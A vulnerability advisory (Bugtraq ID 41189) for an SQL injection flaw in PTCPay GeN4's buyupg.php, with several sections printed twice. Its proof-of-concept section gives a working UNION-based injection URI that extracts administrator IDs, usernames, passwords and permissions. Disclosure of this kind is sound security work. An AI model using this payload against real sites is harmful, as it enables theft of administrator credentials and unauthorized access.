PTCPay GeN4 'buyupg.php' SQL Injection Vulnerability
BID:41189
Info
PTCPay GeN4 'buyupg.php' SQL Injection Vulnerability
| Bugtraq ID: | 41189 |
| Class: | Input Validation Error |
| CVE: | |
| Remote: | Yes |
| Local: | No |
| Published: | Jun 28 2010 12:00AM |
| Updated: | Jun 28 2010 12:00AM |
| Credit: | Dark.Man |
| Vulnerable: |
PTCPay GeN4 0 |
| Not Vulnerable: | |
Discussion
PTCPay GeN4 'buyupg.php' SQL Injection Vulnerability
PTCPay GeN4 is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.
Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
PTCPay GeN4 is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.
Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
Exploit / POC
PTCPay GeN4 'buyupg.php' SQL Injection Vulnerability
Attackers can use a browser to exploit this issue.
The following example URI is available:
http://www.example.com/buyupg.php?upg=2/**/aNd/**/1=0/**/unIon SeleCT/**/1,2,3,4,5,6,7,CONCAT_WS(CHAR(32,58,32),aId,aUsername,aPassword,aPermissions),9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39/**/from/**/admins
Attackers can use a browser to exploit this issue.
The following example URI is available:
http://www.example.com/buyupg.php?upg=2/**/aNd/**/1=0/**/unIon SeleCT/**/1,2,3,4,5,6,7,CONCAT_WS(CHAR(32,58,32),aId,aUsername,aPassword,aPermissions),9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39/**/from/**/admins
Solution / Fix
PTCPay GeN4 'buyupg.php' SQL Injection Vulnerability
Solution:
Currently we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].
Solution:
Currently we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].